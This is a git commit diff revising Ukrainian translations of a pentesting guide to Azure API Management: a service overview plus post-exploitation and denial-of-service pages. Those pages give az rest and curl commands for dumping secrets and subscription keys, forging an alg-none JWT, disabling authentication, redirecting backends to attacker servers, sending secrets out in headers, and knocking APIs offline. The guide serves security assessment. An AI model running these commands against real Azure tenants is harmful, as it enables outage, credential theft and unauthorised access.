Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api-

This commit is contained in:
Translator
2025-12-26 18:52:06 +00:00
parent 985229ad77
commit dd2eaf649c
3 changed files with 47 additions and 45 deletions

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Attacker може використовувати кілька векторів, щоб спричинити denial of service. Щоб блокувати legitimate traffic, attacker додає rate-limiting і quota policies з надзвичайно низькими значеннями, фактично перешкоджаючи нормальному доступу:
Зловмисник може використовувати кілька векторів для спричинення denial of service. Щоб заблокувати легітимний трафік, зловмисник додає rate-limiting і quota policies з надзвичайно низькими значеннями, фактично перешкоджаючи нормальному доступу:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -15,7 +15,7 @@ az rest --method PUT \
}
}'
```
Щоб заблокувати конкретні легітимні IP-адреси клієнтів, зловмисник може додати політики фільтрації IP, які відхиляють запити з обраних адрес:
Щоб заблокувати конкретні легітимні IP-адреси клієнтів, атакуючий може додати політики фільтрації IP, які відхиляють запити з вибраних адрес:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -27,8 +27,8 @@ az rest --method PUT \
}
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
Щоб спричинити відмову запитів, атакуючий може змінити конфігурацію backend, замінивши її URL на недійсну або недосяжну адресу:
## `Microsoft.ApiManagement/service/backends/write` або `Microsoft.ApiManagement/service/backends/delete`
Щоб спричинити відмову запитів, зловмисник може змінити конфігурацію backend і вказати для її URL недійсну або недоступну адресу:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -40,7 +40,7 @@ az rest --method PUT \
}
}'
```
Або видалити бекенди:
Або видалити backends:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -54,7 +54,7 @@ az rest --method DELETE \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Щоб заблокувати доступ з Інтернету, зловмисник може вимкнути публічний доступ до мережі для API Management service:
Щоб заблокувати доступ з Інтернету, зловмисник може вимкнути публічний мережевий доступ до служби API Management:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
@@ -66,7 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Щоб заблокувати доступ легітимних користувачів, зловмисник може видалити підписки API Management:
Щоб заблокувати доступ легітимним користувачам, зловмисник може видалити API Management subscriptions:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \

View File

@@ -4,31 +4,31 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Атака полягає у доступі до конфіденційних секретів, збережених у Azure API Management Named Values або шляхом безпосереднього отримання значень секретів, або зловживання дозволами для отримання Key Vaultbacked secrets через managed identities.
Атака полягає в отриманні доступу до конфіденційних secrets, що зберігаються в Azure API Management Named Values, або шляхом прямого витягання значень secrets, або зловживанням дозволами для отримання Key Vaultbacked secrets через managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Для кожної підписки атакуючий може отримати ключі підписки, використовуючи endpoint listSecrets з методом POST:
Для кожної підписки зловмисник може отримати ключі підписки, використовуючи endpoint listSecrets методом POST:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
У відповіді містяться первинний ключ підписки (primaryKey) та вторинний ключ (secondaryKey). З цими ключами зловмисник може автентифікуватися та отримати доступ до API, опублікованих через API Management Gateway:
У відповіді містяться subscription primary key (primaryKey) та secondary key (secondaryKey). З цими ключами attacker може аутентифікуватися та отримати доступ до APIs, опублікованих через API Management Gateway:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Зловмисник може отримати доступ до всіх API та продуктів, пов'язаних із підпискою. Якщо підписка має доступ до конфіденційних продуктів або API, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції.
Зловмисник може отримати доступ до всіх APIs та продуктів, пов'язаних з підпискою. Якщо підписка має доступ до конфіденційних продуктів або APIs, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції.
## `Microsoft.ApiManagement/service/policies/write` або `Microsoft.ApiManagement/service/apis/policies/write`
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
Зловмисник спочатку отримує поточну політику API:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Атакувальник може змінити політику різними способами залежно від своїх цілей. Наприклад, щоб вимкнути автентифікацію, якщо політика містить JWT token validation, атакувальник може видалити або закоментувати цей розділ:
Зловмисник може змінити політику кількома способами залежно від своїх цілей. Наприклад, щоб відключити автентифікацію, якщо політика включає JWT token validation, зловмисник може видалити або закоментувати цю секцію:
```xml
<policies>
<inbound>
@@ -49,7 +49,7 @@ az rest --method GET \
</on-error>
</policies>
```
Щоб вимкнути контролі rate limiting та дозволити атаки denial-of-service, зловмисник може видалити або закоментувати політики quota та rate-limit:
Щоб видалити rate limiting controls і дозволити denial-of-service атаки, зловмисник може видалити або закоментувати політики quota і rate-limit:
```xml
<policies>
<inbound>
@@ -61,7 +61,7 @@ az rest --method GET \
...
</policies>
```
Щоб змінити backend route і перенаправити трафік на attacker-controlled server:
Щоб змінити маршрут backend і перенаправити трафік на сервер, контрольований атакуючим:
```xml
<policies>
...
@@ -72,7 +72,7 @@ az rest --method GET \
...
</policies>
```
Зловмисник потім застосовує змінену політику. Тіло запиту має бути JSON-об'єктом, що містить політику у форматі XML:
Потім зловмисник застосовує змінену політику. Тіло запиту має бути JSON-об'єктом, що містить політику у форматі XML:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -84,33 +84,35 @@ az rest --method PUT \
}
}'
```
## JWT Validation Misconfiguration
## Неправильна конфігурація валідації JWT
Атакуючому потрібно знати, що API використовує перевірку JWT токенів і що політика налаштована неправильно. Неправильно налаштовані політики валідації JWT можуть містити `require-signed-tokens="false"` або `require-expiration-time="false"`, що дозволяє сервісу приймати непідписані токени або токени, що ніколи не закінчуються.
Атакувальник має знати, що API використовує валідацію JWT-токенів і що політика налаштована неправильно.
Атакуючий створює шкідливий JWT токен, використовуючи алгоритм none (непідписаний):
Неправильно налаштовані політики валідації JWT можуть містити `require-signed-tokens="false"` або `require-expiration-time="false"`, що дозволяє сервісу приймати непідписані токени або токени, термін дії яких ніколи не спливає.
Атакувальник створює шкідливий JWT-токен, використовуючи алгоритм none (непідписаний):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
attacker надсилає запит до API, використовуючи malicious token:
Зловмисник надсилає запит до API, використовуючи шкідливий токен:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Якщо політика неправильно налаштована з `require-signed-tokens="false"`, сервіс прийматиме непідписаний токен. Атакувальник також може створити токен без заяви про термін дії, якщо `require-expiration-time="false"`.
Якщо політика неправильно налаштована з `require-signed-tokens="false"`, сервіс прийме непідписаний токен. Атакуючий також може створити токен без поля терміну дії, якщо `require-expiration-time="false"`.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Атакувальник спочатку перевіряє поточну мережеву конфігурацію сервісу:
Атакуючий спочатку перевіряє поточну мережеву конфігурацію сервісу:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Атакувальник переглядає JSON-відповідь, щоб перевірити значення `publicNetworkAccess` та `virtualNetworkType`. Якщо `publicNetworkAccess` встановлено в false або `virtualNetworkType` встановлено в Internal, сервіс налаштований на приватний доступ.
Атакуючий переглядає JSON-відповідь, щоб перевірити значення `publicNetworkAccess` і `virtualNetworkType`. Якщо `publicNetworkAccess` встановлено в false або `virtualNetworkType` встановлено в Internal, сервіс налаштований для приватного доступу.
Щоб відкрити сервіс в Інтернеті, атакувальник має змінити обидва параметри. Якщо сервіс працює в internal-режимі (`virtualNetworkType: "Internal"`), атакувальник змінює його на None або External і вмикає public network access. Це можна зробити за допомогою Azure Management API:
Щоб відкрити сервіс в Інтернеті, атакуючий повинен змінити обидва параметри. Якщо сервіс працює в режимі Internal (`virtualNetworkType: "Internal"`), атакуючий змінює його на None або External та вмикає публічний мережевий доступ. Це можна зробити за допомогою Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -122,20 +124,20 @@ az rest --method PATCH \
}
}'
```
Після того як `virtualNetworkType` встановлено в `None` або `External`, а `publicNetworkAccess` увімкнено, сервіс та всі його API стають доступними з Інтернету, навіть якщо раніше вони були захищені приватною мережею або приватними кінцевими точками.
Як тільки `virtualNetworkType` встановлено в `None` або `External`, а `publicNetworkAccess` увімкнено, сервіс і всі його APIs стають доступними з Інтернету, навіть якщо раніше вони були захищені за приватною мережею або приватними кінцевими точками.
## `Microsoft.ApiManagement/service/backends/write`
Зловмисник спочатку перелічує наявні backends, щоб визначити, який із них змінити:
Зловмисник спочатку перераховує існуючі backends, щоб визначити, який із них змінити:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
Атакувальник отримує поточну конфігурацію того backend, який хоче змінити:
Зловмисник отримує поточну конфігурацію backend, яку хоче змінити:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Зловмисник змінює backend URL так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють backend:
Атакувальник змінює URL бекенда так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють бекенд:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -148,7 +150,7 @@ az rest --method PUT \
}
}'
```
Як альтернативу, атакуючий може налаштувати backend headers, щоб exfiltrate Named Values, які містять секрети. Це робиться через backend credentials configuration:
Альтернативно, зловмисник може налаштувати backend headers для exfiltrate Named Values, що містять секрети. Це робиться через конфігурацію backend credentials:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -165,6 +167,6 @@ az rest --method PUT \
}
}'
```
За цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє ексфільтрацію конфіденційних секретів.
З цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє експфільтрацію конфіденційних секретів.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,41 +4,41 @@
## Основна інформація
Azure API Management (APIM) — це повністю керований сервіс, який пропонує **уніфіковану платформу для публікації, захисту, трансформації, управління та моніторингу APIs**. Він дозволяє організаціям **централізувати свою API** стратегію та забезпечувати послідовне управління, продуктивність і безпеку для всіх їхніх сервісів. Діючи як шар абстракції між бекенд-сервісами та споживачами API, APIM спрощує інтеграцію та підвищує підтримуваність, забезпечуючи при цьому необхідні оперативні та безпекові можливості.
Azure API Management (APIM) — це повністю керований сервіс, який пропонує **єдину платформу для публікації, захисту, трансформації, управління та моніторингу API**. Він дозволяє організаціям **централізувати свою API-стратегію** та забезпечувати послідовне управління, продуктивність і безпеку для всіх їхніх сервісів. Діючи як шар абстракції між бекенд-сервісами та споживачами API, APIM спрощує інтеграцію і підвищує підтримуваність, надаючи при цьому необхідні операційні та безпекові можливості.
## Основні концепції
**The API Gateway** слугує єдиною точкою входу для всього API-трафіку, виконуючи такі функції, як маршрутизація запитів до бекенд-сервісів, застосування обмежень швидкості (rate limits), кешування відповідей та керування аутентифікацією й авторизацією. Цей gateway повністю хоститься та керується Azure, що гарантує високу доступність і масштабованість.
**The API Gateway** слугує єдиною точкою входу для всього API-трафіку, виконуючи такі функції, як маршрутизація запитів до бекенд-сервісів, застосування обмежень швидкості, кешування відповідей та керування автентифікацією й авторизацією. Цей шлюз повністю хоститься і управляється Azure, що гарантує високу доступність і масштабованість.
**The Developer Portal** надає середовище самообслуговування, де споживачі API можуть знаходити доступні API, читати документацію та тестувати кінцеві точки. Це спрощує процес онбордингу, надаючи інтерактивні інструменти та доступ до інформації про підписки.
**The Developer Portal** надає середовище самообслуговування, де споживачі API можуть знаходити доступні API, читати документацію та тестувати кінцеві точки. Це спрощує процес підключення, надаючи інтерактивні інструменти й доступ до інформації про підписки.
**The Management Portal (Management Plane)** використовується адміністраторами для конфігурації та підтримки сервісу APIM. Звідси користувачі можуть визначати APIs і операції, налаштовувати контроль доступу, застосовувати політики, керувати користувачами та організовувати APIs у продукти. Цей портал централізує адміністрування та забезпечує послідовне управління API.
**The Management Portal (Management Plane)** використовується адміністраторами для налаштування та підтримки сервісу APIM. З цього порталу користувачі можуть визначати API й операції, налаштовувати контроль доступу, застосовувати Policies, керувати користувачами та організовувати API у продукти. Цей портал централізує адміністрування та забезпечує послідовне управління API.
## Аутентифікація та авторизація
Azure API Management підтримує кілька механізмів **authentication**, щоб захистити доступ до API. До них відносяться **subscription keys**, **OAuth 2.0 tokens** і **client certificates**. APIM також нативно інтегрується з **Microsoft Entra ID**, що дозволяє забезпечити **enterprise-level identity management** та **secure access** як до APIs, так і до бекенд-сервісів.
Azure API Management підтримує кілька **механізмів аутентифікації** для захисту доступу до API. Серед них — **subscription keys**, **OAuth 2.0 tokens** та **client certificates**. APIM також нативно інтегрується з **Microsoft Entra ID**, забезпечуючи **управління ідентичностями корпоративного рівня** та **безпечний доступ** як до API, так і до бекенд-сервісів.
## Політики
## Policies
Політики в APIM дозволяють адміністраторам налаштовувати **обробку запитів і відповідей** на різних рівнях деталізації, включно з рівнями **service**, **API**, **operation** або **product**. За допомогою політик можна здійснювати **JWT token validation**, трансформувати XML або JSON payloads, застосовувати rate limiting, обмежувати виклики за IP-адресою або аутентифікуватися проти бекенду, використовуючи managed identities. Політики є **дуже гнучкими** і формують одну з **ключових сильних сторін** платформи API Management, дозволяючи **тонко керувати поведінкою під час виконання** без змін у бекенд-коді.
Policies в APIM дозволяють адміністраторам налаштовувати **обробку запитів і відповідей** на різних рівнях деталізації, включаючи рівні **service**, **API**, **operation** або **product**. Через policies можна виконувати **JWT token validation**, **перетворювати XML або JSON payloads**, **застосовувати обмеження швидкості**, **обмежувати виклики за IP-адресою** або **автентифікуватися проти бекенд-сервісів за допомогою managed identities**. Policies є **надзвичайно гнучкими** і становлять одну з **ключових переваг** платформи API Management, дозволяючи **тонке керування поведінкою в рантаймі** без зміни бекенд-коду.
## Named Values
Сервіс надає механізм під назвою **Named Values**, який дозволяє зберігати **конфігураційну інформацію**, таку як **секрети**, **API keys** або інші значення, необхідні для політик.
Сервіс надає механізм під назвою **Named Values**, який дозволяє зберігати **інформацію конфігурації**, таку як **secrets**, **API keys** або інші значення, необхідні для policies.
Ці значення можна зберігати безпосередньо в APIM або безпечно посилатися на них через **Azure Key Vault**. Named Values сприяють **безпечному та централізованому управлінню** конфігураційними даними та спрощують написання політик, дозволяючи використовувати **повторно вживані посилання** замість захардкожених значень.
Ці значення можна зберігати безпосередньо в APIM або безпечно посилатися на них з **Azure Key Vault**. Named Values сприяють **безпечному та централізованому управлінню** конфігураційними даними та спрощують написання policies, дозволяючи використовувати **повторно застосовувані посилання** замість захардкожених значень.
## Мережеві інтеграції та безпека
## Мережі та інтеграція безпеки
Azure API Management безшовно інтегрується з **virtual network environments**, що дозволяє забезпечити **приватне та безпечне підключення** до бекенд-систем.
Azure API Management безшовно інтегрується з **virtual network environments**, забезпечуючи **приватне та безпечне підключення** до бекенд-систем.
Коли APIM розгорнуто всередині **Virtual Network (VNet)**, він може отримувати доступ до **внутрішніх сервісів** без їхнього публічного виставлення. Сервіс також дозволяє налаштовувати **custom certificates** для підтримки **mutual TLS authentication** з бекенд-сервісами, що підвищує безпеку в сценаріях, де потрібна **сильна валідація ідентичності**.
При розгортанні всередині **Virtual Network (VNet)** APIM може отримувати доступ до **internal services**, не роблячи їх публічно доступними. Сервіс також дозволяє налаштовувати **custom certificates** для підтримки **mutual TLS authentication** з бекенд-сервісами, підвищуючи безпеку в сценаріях, де необхідна **строга валідація ідентичності**.
Ці **мережеві можливості** роблять APIM придатним як для **cloud-native**, так і для **hybrid architectures**.
Ці **networking features** роблять APIM придатним як для **cloud-native**, так і для **hybrid architectures**.
### Перерахування
### Перелічення
Щоб перерахувати сервіс API Management:
Щоб перерахувати сервіс APIM:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>